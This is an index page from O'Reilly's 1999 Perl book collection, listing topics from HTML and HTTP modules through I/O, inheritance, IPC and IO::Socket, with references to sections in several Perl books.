:html method groups : Perl in a Nutshell, 10.2. Importing Method Groups
HTML modules : Perl in a Nutshell, 17.4. The HTML Module
HTML::Element : Perl in a Nutshell, 17.4.2. HTML::Element
HTML::Entities module : Perl Cookbook, 20.4. Converting ASCII to HTML
HTML::FormatPS : Perl in a Nutshell, 17.4.4. HTML::FormatPS
HTML::FormatText
Perl Cookbook, 20.5. Converting HTML to ASCII
Perl in a Nutshell, 17.4.5. HTML::FormatText
HTML::LinkExtor module : Perl Cookbook, 20.3. Extracting URLs
HTML::Parser
Perl in a Nutshell, 17.4. The HTML Module
Perl in a Nutshell, 17.4.1. HTML::Parser
HTML::TreeBuilder
Perl Cookbook, 20.5. Converting HTML to ASCII
Perl in a Nutshell, 17.4.3. HTML::TreeBuilder
:html2 and :html3 import tags : Learning Perl, 19.5. Less Typing
htmlsub program (example) : Perl Cookbook, 20.14. Program: htmlsub
HTTP (Hypertext Transfer Protocol)
debugging exchanges in : Perl Cookbook, 19.9. Debugging the Raw HTTP Exchange
methods
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.1. Writing a CGI Script
request messages : Perl in a Nutshell, 17.1. LWP Overview
Win32::Internet functions for : Perl in a Nutshell, 19.7.3. HTTP Functions
HTTP() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: HTTP
HTTP modules
HTTP::Cookies module : Perl in a Nutshell, 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape module : Perl in a Nutshell, 17.3.6.1. HTTP::Cookies::Netscape
HTTP::Daemon module : Perl in a Nutshell, 17.3.7. HTTP::Daemon
HTTP::Daemon::ClientConn module : Perl in a Nutshell, 17.3.7.1. HTTP::Daemon::ClientConn methods
HTTP::Date module : Perl in a Nutshell, 17.3.5. HTTP::Date
HTTP::Headers module : Perl in a Nutshell, 17.3.3. HTTP::Headers
HTTP::Message module : Perl in a Nutshell, 17.3.8. HTTP::Message
HTTP::Request module
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.3.1. HTTP::Request
HTTP::Response module
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.3.2. HTTP::Response
HTTP::Status module : Perl in a Nutshell, 17.3.4. HTTP::Status
HTTP_ACCEPT variable : Perl in a Nutshell, 9.4. CGI Environment Variables
HTTP_COOKIE variable : Perl in a Nutshell, 9.4. CGI Environment Variables
HTTP_FROM variable : Perl in a Nutshell, 9.4. CGI Environment Variables
HTTP_REFERER variable : Perl in a Nutshell, 9.4. CGI Environment Variables
HTTP_USER_AGENT variable : Perl in a Nutshell, 9.4. CGI Environment Variables
Hubbard, John : Advanced Perl Programming, 18.6. A Detour into Fractals
human-readable databases : Learning Perl, 17.5. Variable-Length (Text) Databases
Hungarian notation : Advanced Perl Programming, 1.2.4. Dereferencing Multiple Levels of Indirection
HVs (hash values) : Advanced Perl Programming, 20.3.3. Hash Values (HVs)
hyperlinks
Perl Cookbook, 9.0. Introduction
Perl Cookbook, 20.7. Finding Stale Links
hyphen : (see - (hyphen))

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

i command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: i
-i flag (ignore case)
Learning Perl, 7.4.2. Ignoring Case
Learning Perl, 7.5. Substitutions
Learning Perl on Win32 Systems, 7.4.2. Ignoring Case
Learning Perl on Win32 Systems, 7.5. Substitutions
I<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
-I option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-I option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
/i pattern-matching modifier
Perl Cookbook, 6.0. Introduction
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Perl in a Nutshell, 4.6.8. Extended Regular Expressions
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
-i switch, perl
Perl Cookbook, 7.7. Writing a Filter
Learning Perl, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
modifying files with : Perl Cookbook, 7.9. Modifying a File in Place with -i Switch
-I switch, perl
Advanced Perl Programming, 6.2.1. Load Path
Perl Cookbook, 12.7. Keeping Your Own Module Directory
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
I/O abstraction : Advanced Perl Programming, 20.2.1. Perl Objects
I/O operations : Perl Cookbook, 7.0. Introduction
buffering
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.12. Flushing Output
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 17.3. Communicating over TCP
controlling for other programs : Perl Cookbook, 16.8. Controlling Input and Output of Another Program
flushing output : Perl Cookbook, 7.12. Flushing Output
non-blocking : Perl Cookbook, 7.14. Doing Non-Blocking I/O
preprocessing input : Perl Cookbook, 16.6. Preprocessing Input
random-access I/O : Perl Cookbook, 8.12. Using Random-Access I/O
reading/writing to other programs : Perl Cookbook, 16.4. Reading or Writing to Another Program
I/O redirection : Advanced Perl Programming, 3.4.1. I/O Redirection
I18N::Collate module
Perl in a Nutshell, 8.88. I18N::Collate
Programming Perl, 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
ic_cookies program (example) : Perl Cookbook, 19.10. Managing Cookies
iconbitmap() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
iconify() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
iconmask() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
iconname() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
iconposition() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
iconwindow() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
icursor() (Entry) : Perl in a Nutshell, 18.8.2. Entry Methods
idempotency : Perl Cookbook, 19.0. Introduction
identifiers, package : Programming Perl, 5.1. Packages
identify()
Scale widget : Perl in a Nutshell, 18.13.1. Scale Methods
Scrollbar widget : Perl in a Nutshell, 18.9.1. Scrollbar Methods
identity, object
Advanced Perl Programming, 7.2.2. Unique Identity
Advanced Perl Programming, 11.2.6. Object Identity
ideographic unary operators : Programming Perl, 2.5.5. Ideographic Unary Operators
IDL (Interface Definition Language) : Advanced Perl Programming, 17.1. On Code Generation
if statement
Learning Perl, 1.5.3. Adding Choices
Learning Perl, 4.2. The if/unless Statement
Learning Perl, 9.5. Expression Modifiers
Learning Perl on Win32 Systems, 1.6.3. Adding Choices
Learning Perl on Win32 Systems, 4.2. The if/unless Statement
Learning Perl on Win32 Systems, 9.5. Expression Modifiers
Perl in a Nutshell, 4.3.1. Conditionals and Loops
Perl in a Nutshell, 4.3.1.4. Modifiers
Programming Perl, 1.6.1.1. The if and unless statements
Programming Perl, 2.6.1. Simple Statements
Programming Perl, 2.6.3. If Statements
Programming Perl, 8.2.4. C Traps
in case structure : Programming Perl, 2.6.5. Bare Blocks and Case Structures
examples of
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 4.2. The if/unless Statement
Learning Perl, 5.4.1. The keys Function
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 4.2. The if/unless Statement
Learning Perl on Win32 Systems, 5.4.1. The keys Function
not counting as looping block : Learning Perl, 9.2. The next Statement
unless modifier
Learning Perl, 9.5. Expression Modifiers
Learning Perl, 10.3. A Slight Diversion: die
If-Modified-Since header : Perl Cookbook, 20.10. Mirroring Web Pages
'IGNORE' string : Programming Perl, 6.2.1. Signals
IGNORE value (%SIG) : Learning Perl, 14.6. Sending and Receiving Signals
ignore_text() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: ignore_text
ignore_unknown() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: ignore_unknown
ignoring case : (see case/capitalization)
ihave() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: ihave
-image option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
image_button() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: image_button
images, widgets and : Advanced Perl Programming, 14.3.1.2. Images
imaginary numbers
Perl Cookbook, 2.15. Using Complex Numbers
Programming Perl, 7.2.44. Math::Complex - Complex Numbers Package
impedance mismatch : Advanced Perl Programming, 10.1. Persistence Issues
implementation : Programming Perl, 5.5.7. Implementation (the "Uses" Relationship)
implementation classes : (see tie())
implementation inheritance : Advanced Perl Programming, 8.3.2. Implementation Inheritance
implicit() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: implicit
implicit_tags() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: implicit_tags
import()
Programming Perl, 3.2.74. import
Programming Perl, 5.2. Modules
Programming Perl, 7.2.14. Env - Import Environment Variables
import lists : Programming Perl, 7.2.15.1. Specialized import lists
import_names() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: import_names
import subroutine : Advanced Perl Programming, 6.5.1. How Do use and Exporter Work?
import tags : Learning Perl, 19.5. Less Typing
importing
environment variables : Programming Perl, 7.2.14. Env - Import Environment Variables
modules : Programming Perl, 7.2.15. Exporter - Default Import Method for Modules
from modules : Perl Cookbook, 10.14. Redefining a Function
semantics into package : Programming Perl, 3.2.185. use
subroutines : Programming Perl, 2.7. Subroutines
symbols
Advanced Perl Programming, 6.5. Importing Symbols
Perl Cookbook, 12.0. Introduction
in() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: in
-in option
grid geometry manager : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
pack geometry manager : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
place geometry manager : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
in-memory databases : Programming Perl, 7.2.8.4. In-memory databases
in-proc servers : Learning Perl on Win32 Systems, 19.1. Introduction to OLE Automation
InactiveDestroy attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
INADDR_ANY() (Socket)
Perl Cookbook, 17.1. Writing a TCP Client
Perl Cookbook, 17.14. Writing a Multi-Homed Server
Perl in a Nutshell, 13.1.3. Server Connections
Perl in a Nutshell, 13.1.4. Socket Module Functions
INADDR_BROADCAST() (Socket) : Perl in a Nutshell, 13.1.4. Socket Module Functions
INADDR_LOOPBACK() (Socket) : Perl in a Nutshell, 13.1.4. Socket Module Functions
INADDR_NONE() (Socket) : Perl in a Nutshell, 13.1.4. Socket Module Functions
@INC array
Advanced Perl Programming, 6.2.1. Load Path
Perl Cookbook, 12.7. Keeping Your Own Module Directory
Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
Programming Perl, 2.9.4. Global Special Arrays
manipulating at compile time : Programming Perl, 7.2.41. lib - Manipulate @INC at Compile-Time
prepending directories to : Programming Perl, 6.1.2. Switches
%INC hash
Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
Programming Perl, 2.9.4. Global Special Arrays
#include header, translating with h2ph : Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
incr command (debugger) : Programming Perl, 8.1.1. Debugger Commands
indeces of array elements : (see arrays)
indentation, in Perl programs
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
indents : (see whitespace)
index()
Learning Perl, 15.1. Finding a Substring
Perl in a Nutshell, Chapter 5, Reference: index
Programming Perl, 3.2.75. index
Entry widget : Perl in a Nutshell, 18.8.2. Entry Methods
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
Text widget : Perl in a Nutshell, 18.11.2. Text Methods
indexes, text positioning : Advanced Perl Programming, 14.3.5.1. Inserting text at absolute positions
-indicatoron option
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menubutton widget
Perl in a Nutshell, 18.14. The Menubutton Widget
Perl in a Nutshell, 18.14.1. Menu Item Options
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
indices of hash elements : Perl Cookbook, 5.0. Introduction
indirect filehandles
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.16. Storing Filehandles in Variables
Learning Perl, 12.2. Globbing
indirect notation
Advanced Perl Programming, 7.2.5.1. Detour: The indirect notation
Perl Cookbook, 13.0. Introduction
Programming Perl, 5.3.6. Method Invocation
Programming Perl, 5.5.1. Object-Oriented Scaling Tips
indirection, multiple levels of : Advanced Perl Programming, 1.2.4. Dereferencing Multiple Levels of Indirection
inequality : (see equality operators; relational operators)
INET module : Advanced Perl Programming, 12.2.1. Receiver
inet_aton() (Socket) : Perl in a Nutshell, Chapter 13, Reference: inet_aton
inet_ntoa() (Socket)
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 13, Reference: inet_ntoa
infinite loops
Learning Perl, 9.3. The redo Statement
Programming Perl, 2.6.4.2. For loops
infix dereference (arrow) operator : (see - (hyphen), -> (arrow) operator)
Info() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Info
Ing-Simmons, Nick : Advanced Perl Programming, 14.1. Introduction to GUIs, Tk, and Perl/Tk
inheritance
Advanced Perl Programming, 7.1. OO: An Introduction
Advanced Perl Programming, 7.2.6. The Need for Inheritance
Advanced Perl Programming, 8.3. On Inheritance
Advanced Perl Programming, 11.2.5. Inheritance and Database Mapping
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.9. Writing an Inheritable Class
Perl Cookbook, 13.12. Solving the Data Inheritance Problem
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.4. A Class Is Simply a Package
Programming Perl, 5.5.1. Object-Oriented Scaling Tips
Programming Perl, 5.5.10. Inheriting a Constructor
hierarchy, searching : Advanced Perl Programming, 7.3.1. Searching for Methods
instance variable : Programming Perl, 5.5.4. Instance Variable Inheritance
init program : Programming Perl, 3.2.56. getppid
initial caps : (see case/capitalization)
initializers : (see constructors)
initializing
arrays and hashes
Perl Cookbook, 4.1. Specifying a List In Your Program
Perl Cookbook, 5.0. Introduction
Programming Perl, 2.5.7. Multiplicative Operators
C library : Advanced Perl Programming, 18.1. Writing an Extension: Overview
hash variables : Programming Perl, 2.3.5. Hashes (Associative Arrays)
modules/packages
Advanced Perl Programming, 6.3. Package Initialization and Destruction
Perl Cookbook, 12.6. Automating Module Clean-Up
NNTP clients : Perl in a Nutshell, 15.2.1. Initializing the NNTP Client
sockets : Perl in a Nutshell, 13.1.1. Initializing a Socket
InitiateSystemShutdown module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
$ino file statistic : Programming Perl, 3.2.159. stat
inodes : Perl Cookbook, 9.0. Introduction
inplace editing : Learning Perl, 17.5. Variable-Length (Text) Databases
$INPLACE_EDIT ($^I) variable
Learning Perl, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
input
(see also filehandles)
Programming Perl, 1.4. Filehandles
checking file descriptors for : Programming Perl, 3.2.135. select (ready file descriptors)
checking for waiting : Perl Cookbook, 15.9. Checking for Waiting Input
comma-separated, parsing : Perl Cookbook, 1.15. Parsing Comma-Separated Data
controlling for other programs : Perl Cookbook, 16.8. Controlling Input and Output of Another Program
editing : Perl Cookbook, 15.11. Editing Input
executing shell commands from (CGI) : Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
expanding variables in : Perl Cookbook, 1.8. Expanding Variables in User Input
Expect-controlled programs and : Perl Cookbook, 15.13. Controlling Another Program with Expect
extracting variable-length fields : Perl Cookbook, 8.9. Processing Variable-Length Text Fields
functions for
(see also $ variables, $_ ($ARG) variable; output)
Perl in a Nutshell, 4.4.1. Global Special Variables
Perl in a Nutshell, 5.1. Perl Functions by Category
from HTML forms : (see CGI programs)
operators : Programming Perl, 2.3.7. Input Operators
parsing command-line arguments : Perl Cookbook, 15.1. Parsing Program Arguments
pipes : Programming Perl, 6.2.2. Pipes
preprocessing : Perl Cookbook, 16.6. Preprocessing Input
random-access I/O : Perl Cookbook, 8.12. Using Random-Access I/O
reading
in awk : Programming Perl, 8.2.3. Awk Traps
from keyboard : Perl Cookbook, 15.6. Reading from the Keyboard
from other programs : Perl Cookbook, 16.4. Reading or Writing to Another Program
passwords : Perl Cookbook, 15.10. Reading Passwords
records with pattern separators : Perl Cookbook, 6.7. Reading Records with a Pattern Separator
STDERR from programs : Perl Cookbook, 16.7. Reading STDERR from a Program
record separator : (see $ variables, $/ variable)
single-character buffered : Programming Perl, 3.2.43. getc
specification parser
Advanced Perl Programming, 17.2. Jeeves Example
Advanced Perl Programming, 17.5. Sample Specification Parser
unbuffered
Advanced Perl Programming, 17.3.1. Advantages of This Architecture
Programming Perl, 3.2.43. getc
Programming Perl, 7.2.49.1. Classes
<INPUT> tags (HTML) : Perl in a Nutshell, 9.1. A Typical CGI Interaction
Input() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Input
$INPUT_LINE_NUMBER ($.) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$INPUT_RECORD_SEPARATOR ($/) variable
Perl Cookbook, 8.0. Introduction
Learning Perl, 6.1. Input from STDIN
Learning Perl, 14.2. Using Backquotes
Learning Perl on Win32 Systems, 6.1. Input from STDIN
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
InputChar() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: InputChar
InputCP() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: InputCP
insert()
Entry widget : Perl in a Nutshell, 18.8.2. Entry Methods
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
Text widget : Perl in a Nutshell, 18.11.2. Text Methods
insert index
Entry widget : Perl in a Nutshell, 18.8.1. Text Indexes
Text widget : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
insert_element() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: insert_element
-insertbackground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-insertborderwidth option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-insertofftime option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-insertontime option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-insertwidth option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
install() : Programming Perl, 7.2.16. ExtUtils::Install - Install Files from Here to There
install command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: install
Install module : Programming Perl, 7.2.16. ExtUtils::Install - Install Files from Here to There
installing
mod_perl module : Perl in a Nutshell, 11.2. Installing mod_perl
modules from CPAN : Perl Cookbook, 12.17. Building and Installing a CPAN Module
Perl documentation : Perl in a Nutshell, 2.5.1. Installing the Documentation
Perl source code and modules
Perl in a Nutshell, 2.3. Installing Perl
Perl in a Nutshell, 2.4.2. Module Installation
Programming Perl, 7.2.16. ExtUtils::Install - Install Files from Here to There
Programming Perl, 8.5. Distribution and Installation
signal handlers : Perl Cookbook, 16.15. Installing a Signal Handler
instance data
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.3. Managing Instance Data
circular data structures : Perl Cookbook, 13.13. Coping with Circular Data Structures
inheritance and : Perl Cookbook, 13.12. Solving the Data Inheritance Problem
instance methods
Advanced Perl Programming, 7.2.3. Behavior
Perl Cookbook, 13.0. Introduction
Perl in a Nutshell, 7.4. Object Syntax
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.3.5.2. Instance methods
arrow notation for : Advanced Perl Programming, 7.2.4. The Need for Polymorphism
instance variables : Programming Perl, 5.5.2. Instance Variables
instances
(see also objects)
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
int()
Perl Cookbook, 2.3. Rounding Floating-Point Numbers
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, Chapter 5, Reference: int
Programming Perl, 3.2.76. int
INT signal : Advanced Perl Programming, 4.2.2. Signal Handlers
integer method : Programming Perl, 7.2.38. integer - Do Arithmetic in Integer Instead of Double
integer module
Perl in a Nutshell, 8.89. integer
Programming Perl, 2.6.9. Pragmas
integer values (IVs)
Advanced Perl Programming, 20.3.1.3. SVs and object pointers
Advanced Perl Programming, 20.3.1. Scalar Values
integers
(see numbers)
Learning Perl, 2.2.1. All Numbers Use the Same Format Internally
Learning Perl, 2.2.3. Integer Literals
Learning Perl on Win32 Systems, 2.2.1. All Numbers Use the Same Format Internally
Learning Perl on Win32 Systems, 2.2.3. Integer Literals
Programming Perl, 3.2.76. int
Programming Perl, 7.2.38. integer - Do Arithmetic in Integer Instead of Double
Programming Perl, 7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
strings as vectors of : Programming Perl, 3.2.188. vec
interactivity, testing for : Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
Interface Definition Language (IDL) : Advanced Perl Programming, 17.1. On Code Generation
interface functions : Advanced Perl Programming, 7.2.3. Behavior
interface inheritance : Advanced Perl Programming, 8.3.3. Interface Inheritance
interfaces : (see user interfaces)
interior sequences (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
Internet domain sockets : Perl Cookbook, 17.0. Introduction
Internet module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Internet services : Perl Cookbook, 18.0. Introduction
DNS lookups : Perl Cookbook, 18.1. Simple DNS Lookups
expn and vrfy programs (examples) : Perl Cookbook, 18.9. Program: expn and vrfy
FTP clients : Perl Cookbook, 18.2. Being an FTP Client
mail : (see email)
pinging machines : Perl Cookbook, 18.7. Pinging a Machine
simulating telnet connection : Perl Cookbook, 18.6. Simulating Telnet from a Program
Usenet news : Perl Cookbook, 18.4. Reading and Posting Usenet News Messages
whois service : Perl Cookbook, 18.8. Using Whois to Retrieve Information from the InterNIC
Internet TCP clients/servers : Programming Perl, 6.2.4.1. Internet TCP clients and servers
Internet-domain sockets : Perl in a Nutshell, 13. Sockets
interpolating : Programming Perl, 2.3.3.4. Interpolative context
array variables : Programming Perl, 2.3.2.5. Interpolating array values
scalar values : Programming Perl, 2.3.2.2. String literals
interpreted languages
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.1. History of Perl
Learning Perl on Win32 Systems, 1.5. Basic Concepts
interpreter, Perl
(see also command interpreters)
Advanced Perl Programming, 20.2.1.1. Multiple interpreters
Perl in a Nutshell, 3. The Perl Interpreter
command processing : Perl in a Nutshell, 3.1. Command Processing
command-line options : Perl in a Nutshell, 3.2. Command-Line Options
interpreting bytes in memory : Learning Perl on Win32 Systems, 16.2. Packing and Unpacking Binary Data
interprocess communication (IPC)
Learning Perl, 14.6. Sending and Receiving Signals
Perl in a Nutshell, 5.1. Perl Functions by Category
Programming Perl, 6.2. Cooperating with Other Processes
intersections on lists : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
introspection : (see reflection)
inverse_select() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: inverse_select
inverting arrays and hashes : Programming Perl, 3.2.126. reverse
inverting hashes : Perl Cookbook, 5.8. Inverting a Hash
invoke()
Button widget : Perl in a Nutshell, 18.4.1. Button Methods
Checkbutton widget : Perl in a Nutshell, 18.5.1. Checkbutton Methods
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
Radiobutton widget : Perl in a Nutshell, 18.6.1. Radiobutton Methods
Win32::OLE module : Perl in a Nutshell, Chapter 19, Reference: Invoke
invoking/executing
format : Learning Perl, 11.3. Invoking a Format
methods : Programming Perl, 5.3.6. Method Invocation
other programs from Perl : Programming Perl, 3.2.167. system
Perl programs
Programming Perl, 1.3.1. How to Do It
Programming Perl, 6.1. Cooperating with Command Interpreters
subroutines : Learning Perl, 8.2. Invoking a User Function
IO modules : Perl in a Nutshell, 8.90. IO
IO::File module
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.1. Opening a File
Perl in a Nutshell, 8.91. IO::File
temporary files : Perl Cookbook, 7.5. Creating Temporary Files
IO::Handle module
Perl Cookbook, 7.0. Introduction
Perl in a Nutshell, 8.92. IO::Handle
IO::Pipe module : Perl in a Nutshell, 8.93. IO::Pipe
IO::Pty module : Perl Cookbook, 15.13. Controlling Another Program with Expect
IO::Seekable module
Perl in a Nutshell, 8.94. IO::Seekable
Perl in a Nutshell, 8.95. IO::Select
IO::Select module
Advanced Perl Programming, 12.3.2. Multiplexing Using select
Advanced Perl Programming, 12.5. IO Objects and Filehandles
Perl Cookbook, 7.13. Reading from Many Filehandles Without Blocking
Perl Cookbook, 16.9. Controlling the Input, Output, and Error of Another Program
IO::Socket module
Advanced Perl Programming, 12.2. Socket API and IO::Socket
Learning Perl on Win32 Systems, C. Networking Clients
Perl in a Nutshell, 8.96. IO::Socket
Perl in a Nutshell, 13.2. The IO::Socket Module
closing socket after forking : Perl Cookbook, 17.9. Closing a Socket After Forking
IO::Socket::INET class
Perl Cookbook, 17.1. Writing a TCP Client
Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX class : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
UDP clients and servers : Perl Cookbook, 17.4. Setting Up a UDP Client
IO::Stty module : Perl Cookbook, 15.13. Controlling Another Program with Expect
IO objects : Advanced Perl Programming, 12.5. IO Objects and Filehandles
ioctl()
Perl Cookbook, 7.15. Determining the Number of Bytes to Read
Perl Cookbook, 10.10. Returning Failure
Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
Perl in a Nutshell, Chapter 5, Reference: ioctl
Programming Perl, 3.2.77. ioctl
IP addresses : Advanced Perl Programming, 12.1. Networking Primer
determining your own : Perl Cookbook, 17.8. Finding Your Own Name and Address
DNS lookups : Perl Cookbook, 18.1. Simple DNS Lookups
expn and vrfy programs (examples) : Perl Cookbook, 18.9. Program: expn and vrfy
identifying at socket ends : Perl Cookbook, 17.7. Identifying the Other End of a Socket
multi-homed servers : Perl Cookbook, 17.14. Writing a Multi-Homed Server
packed, converting to ASCII strings : Perl Cookbook, 17.0. Introduction
-ipadx, -ipady options
grid geometry manager : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
pack geometry manager : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
IPC (interprocess communication)
Learning Perl, 14.6. Sending and Receiving Signals
Perl in a Nutshell, 5.1. Perl Functions by Category
Programming Perl, 6.2. Cooperating with Other Processes
IPC modules
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 8.97. IPC::Msg
IPC::Msg module : Perl in a Nutshell, 8.97. IPC::Msg
IPC::Open2 module
Perl Cookbook, 16.8. Controlling Input and Output of Another Program
Perl in a Nutshell, 8.98. IPC::Open2
Programming Perl, 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
IPC::Open3 module
Perl Cookbook, 16.9. Controlling the Input, Output, and Error of Another Program
Perl in a Nutshell, 8.99. IPC::Open3
Programming Perl, 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
IPC::Semaphore module : Perl in a Nutshell, 8.100. IPC::Semaphore
IPC::Shareable : Perl Cookbook, 16.12. Sharing Variables in Different Processes
IPC::SysV module : Perl in a Nutshell, 8.101. IPC::SysV
"is-a" relationship : (see inheritance)
is_client_error() (HTTP::Status : Perl in a Nutshell, 17.3.4. HTTP::Status
is_empty() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: is_empty
is_error()
HTTP::Response module : Perl in a Nutshell, Chapter 17, Reference: is_error
HTTP::Status module : Perl in a Nutshell, 17.3.4. HTTP::Status
LWP::Simple module : Perl in a Nutshell, Chapter 17, Reference: is_error
is_fresh() (HTTP::Response) : Perl in a Nutshell, Chapter 17, Reference: is_fresh
is_info()
HTTP::Response module : Perl in a Nutshell, Chapter 17, Reference: is_info
HTTP::Status module : Perl in a Nutshell, 17.3.4. HTTP::Status
is_inside() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: is_inside
is_protocol_supported() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: is_protocol_supported
is_readonly() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: is_readonly
is_redirect()
HTTP::Response module : Perl in a Nutshell, Chapter 17, Reference: is_redirect
HTTP::Status module : Perl in a Nutshell, 17.3.4. HTTP::Status
is_safe() : Perl Cookbook, 8.17. Testing a File for Trustworthiness
is_server_error() (HTTP::Status : Perl in a Nutshell, 17.3.4. HTTP::Status
is_success()
HTTP::Response module : Perl in a Nutshell, Chapter 17, Reference: is_success
HTTP::Status module : Perl in a Nutshell, 17.3.4. HTTP::Status
LWP::Simple module : Perl in a Nutshell, Chapter 17, Reference: is_success
is_verysafe() : Perl Cookbook, 8.17. Testing a File for Trustworthiness
@ISA array
Advanced Perl Programming, 7.2.6. The Need for Inheritance
Perl Cookbook, 13.0. Introduction
Programming Perl, 5.3.4. A Class Is Simply a Package
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
isa function
Advanced Perl Programming, 7.3. UNIVERSAL
